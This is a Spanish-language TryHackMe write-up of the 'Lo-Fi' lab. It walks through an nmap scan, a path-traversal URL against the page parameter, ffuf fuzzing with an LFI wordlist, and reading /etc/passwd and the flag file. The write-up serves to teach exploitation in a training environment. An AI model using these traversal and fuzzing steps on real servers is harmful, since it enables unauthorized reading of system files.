Entrada

TryHackMe - Lo-Fi

Una guía básica para explotar 🗂️ Local File Inclusion y Path Traversal en este desafío

TryHackMe - Lo-Fi

Introducción

Este debería ser un desafío simple de práctica sobre vulnerabilidades de LFI (Inclusión de Archivos Locales) y Path Traversal.

Tryhackme Room Link

Nmap

Comencemos con un escaneo de nmap:

1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.72.5
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 40:ed:13:25:88:c7:cc:8b:86:8f:8b:0d:74:04:07:c7 (RSA)
|   256 c4:90:3d:98:c3:1d:87:c2:ca:15:f7:6f:10:f1:19:5f (ECDSA)
|_  256 18:ff:a7:d6:2d:bc:5c:ae:e2:bc:54:3f:20:c6:1a:81 (ED25519)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Lo-Fi Music
|_http-server-header: Apache/2.2.22 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El puerto 80/tcp está abierto, vamos a visitar el sitio web.

Path Traversal

Comencemos con Path Traversal.

1
http://10.10.72.5/?page=/../../../flag.txt

No hay suerte, pero sabemos que el sitio es vulnerable.

Hacker Message

Intentemos este parámetro contra una lista de palabras utilizando ffuf.

1
ffuf -w /usr/share/wordlists/LFI-Jhaddix.txt -u "http://10.10.72.5/?page=FUZZ" -fl 124

Desglosado:

  • -w /usr/share/wordlists/LFI-Jhaddix.txt → Usa una lista de palabras que contiene cargas útiles comunes de LFI.
  • -u "http://10.10.72.5/?page=FUZZ" → Reemplaza FUZZ en la URL con cada palabra de la lista de palabras.
  • -fl 124 → Filtra las respuestas con 124 líneas, ignorándolas para centrarse en resultados diferentes.

Hemos encontrado algunas coincidencias.

ffuf Output

Intentemos con algunos de los más simples usando el archivo /etc/passwd.

¡Éxito!

Traversal Path

Bandera

Ahora intentemos usar el archivo flag.txt.

Flag


Esta entrada está licenciada bajo CC BY 4.0 por el autor.